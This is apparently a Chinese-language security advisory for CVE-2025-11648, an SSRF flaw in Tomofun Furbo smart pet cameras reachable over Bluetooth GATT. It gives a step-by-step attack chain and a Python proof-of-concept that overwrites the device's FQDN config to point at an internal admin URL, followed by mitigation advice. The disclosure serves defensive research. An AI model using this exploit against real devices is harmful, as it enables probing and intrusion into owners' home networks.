IPBUF安全漏洞报告
English
CVE-2025-11648 CVSS 5.6 中危

CVE-2025-11648 Tomofun Furbo系列设备GATT接口SSRF漏洞

披露日期: 2025-10-12

漏洞信息

漏洞编号
CVE-2025-11648
漏洞类型
服务端请求伪造(SSRF)
CVSS评分
5.6 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tomofun Furbo 360 和 Furbo Mini 智能摄像头

相关标签

SSRF服务端请求伪造GATTBLE蓝牙低功耗TomofunFurbo 360Furbo Mini智能摄像头IoT设备

漏洞概述

CVE-2025-11648是Tomofun公司旗下Furbo 360和Furbo Mini智能宠物摄像头产品中存在的一个服务端请求伪造(SSRF)漏洞。该漏洞位于设备的GATT(Generic Attribute Profile)接口URL Handler组件中,具体涉及TF_FQDN.json配置文件的处理逻辑。攻击者可以通过远程方式利用此漏洞,诱导服务器端发起非预期的网络请求,从而访问内部资源或与外部服务进行交互。

该漏洞的CVSS 3.1评分为5.6分,属于中危级别。攻击向量为网络(AV:N),攻击复杂度较高(AC:H),无需特权(PR:N)和用户交互(UI:N)。漏洞对机密性、完整性和可用性均有一定程度的影响。值得注意的是,漏洞发现者曾提前联系厂商进行披露,但Tomofun公司未作出任何回应,这增加了用户面临的风险。

Furbo系列产品是市场上流行的智能宠物监控设备,能够通过Wi-Fi连接让用户远程观察宠物动态并投喂食物。SSRF漏洞的存在使得攻击者可能利用这些设备作为跳板,对内部网络进行探测或发起进一步攻击,对用户的网络安全和隐私构成潜在威胁。受影响的固件版本包括Furbo 360的FB0035_FW_036及以下版本,以及Furbo Mini的MC0020_FW_074及以下版本。

技术细节

该漏洞的核心位于Furbo设备的GATT(Generic Attribute Profile)接口URL Handler组件中,具体涉及对TF_FQDN.json配置文件的处理逻辑。GATT是蓝牙低功耗(BLE)协议栈中用于数据传输的标准协议,设备通过该协议与配套的移动应用进行通信。

在正常情况下,TF_FQDN.json文件用于存储设备与云服务端通信所需的FQDN(完全限定域名)配置信息。然而,由于URL Handler在处理该配置文件时缺乏对URL内容的充分验证和过滤,攻击者可以通过BLE接口篡改TF_FQDN.json文件中的URL值,将其指向恶意服务器地址。

当设备启动或执行需要与云端通信的操作时,会读取TF_FQDN.json中的URL配置并发起HTTP请求。由于缺乏URL白名单校验和内网地址过滤机制,设备会按照攻击者指定的URL发起请求,从而实现服务端请求伪造(SSRF)。

利用方式如下:
1. 攻击者通过蓝牙低功耗(BLE)接口与目标Furbo设备建立连接;
2. 利用BLE GATT协议中的写权限,篡改TF_FQDN.json配置文件中的FQDN字段;
3. 将URL修改为指向内部网络资源(如http://192.168.1.1/admin)或外部恶意服务器;
4. 等待设备下次启动或触发网络通信时,设备将向攻击者指定的URL发起请求;
5. 攻击者可通过监听请求获取设备信息,或利用SSRF探测内网拓扑。

该漏洞的利用复杂度较高,攻击者需要具备BLE协议知识和物理或近场访问能力(BLE通信距离通常在10米以内),但一旦成功利用,可对用户内部网络造成安全威胁。

攻击链分析

STEP 1
步骤1:BLE设备发现与连接
攻击者在目标Furbo设备的BLE通信范围内(通常10米以内),使用蓝牙扫描工具发现并连接到目标设备。Furbo设备在配对模式下会广播BLE信号。
STEP 2
步骤2:GATT服务枚举
通过BLE GATT协议枚举设备暴露的服务和特征值,定位到负责处理TF_FQDN.json配置文件的URL Handler特征值。
STEP 3
步骤3:配置文件篡改
利用GATT特征的写权限,将TF_FQDN.json中的FQDN字段篡改为恶意URL,如指向内部网络资源或外部攻击者控制的服务器。
STEP 4
步骤4:触发SSRF请求
等待设备下次启动或触发需要与云端通信的操作(如视频流传输、固件更新检查),设备将读取被篡改的配置并向恶意URL发起HTTP请求。
STEP 5
步骤5:内网探测或数据窃取
攻击者通过监听恶意服务器接收到的请求获取设备信息,或利用SSRF进一步探测用户内部网络拓扑,访问内网管理界面、云元数据服务等敏感资源。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11648 - Furbo SSRF via BLE GATT Interface # PoC demonstrates the SSRF vulnerability through TF_FQDN.json manipulation import asyncio from bleak import BleakClient, BleakScanner # Target device BLE address (needs to be discovered first) TARGET_DEVICE_ADDRESS = "XX:XX:XX:XX:XX:XX" # GATT service and characteristic UUIDs for TF_FQDN.json # These UUIDs need to be identified through BLE enumeration GATT_SERVICE_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb" FQDN_CHARACTERISTIC_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb" # Malicious FQDN payload - points to internal network resource # This URL will be fetched by the device when it attempts cloud communication MALICIOUS_FQDN = { "fqdn": "http://192.168.1.1/admin/config", "port": 80, "protocol": "http" } import json payload = json.dumps(MALICIOUS_FQDN).encode('utf-8') async def exploit_ssrf(): """ Exploit SSRF vulnerability in Furbo devices via BLE GATT interface. The vulnerability exists in the TF_FQDN.json URL Handler component. """ print(f"[*] Scanning for Furbo device: {TARGET_DEVICE_ADDRESS}") # Connect to the target device via BLE async with BleakClient(TARGET_DEVICE_ADDRESS) as client: print(f"[+] Connected to device: {TARGET_DEVICE_ADDRESS}") # Discover GATT services services = await client.get_services() for service in services: print(f"[*] Service: {service.uuid}") for char in service.characteristics: print(f" Characteristic: {char.uuid} - Properties: {char.properties}") # Write malicious FQDN payload to the vulnerable characteristic # This overwrites the TF_FQDN.json configuration print(f"[*] Writing malicious FQDN payload to {FQDN_CHARACTERISTIC_UUID}") await client.write_gatt_char(FQDN_CHARACTERISTIC_UUID, payload) print("[+] Payload written successfully") # The device will now use the malicious URL on next cloud sync # Trigger a sync or wait for device to reboot print("[*] Waiting for device to initiate cloud communication...") print("[!] Device will send request to: http://192.168.1.1/admin/config") print("[!] Monitor the target server to capture the SSRF request") if __name__ == "__main__": asyncio.run(exploit_ssrf())

影响范围

Tomofun Furbo 360 <= FB0035_FW_036
Tomofun Furbo Mini <= MC0020_FW_074

防御指南

临时缓解措施
由于Tomofun厂商在漏洞披露后未作出任何回应,目前没有官方的安全补丁可用。建议采取以下临时缓解措施:1)在网络层面将Furbo设备隔离在独立的VLAN中,阻止其访问内部网络资源;2)通过路由器防火墙限制设备的出站流量,仅允许其与已知Furbo云服务通信;3)在物理层面限制设备的BLE访问范围,避免未授权用户近距离接触设备;4)监控设备网络流量,及时发现异常的HTTP请求模式;5)如非必要,暂时停用BLE配对功能或关闭设备的蓝牙功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表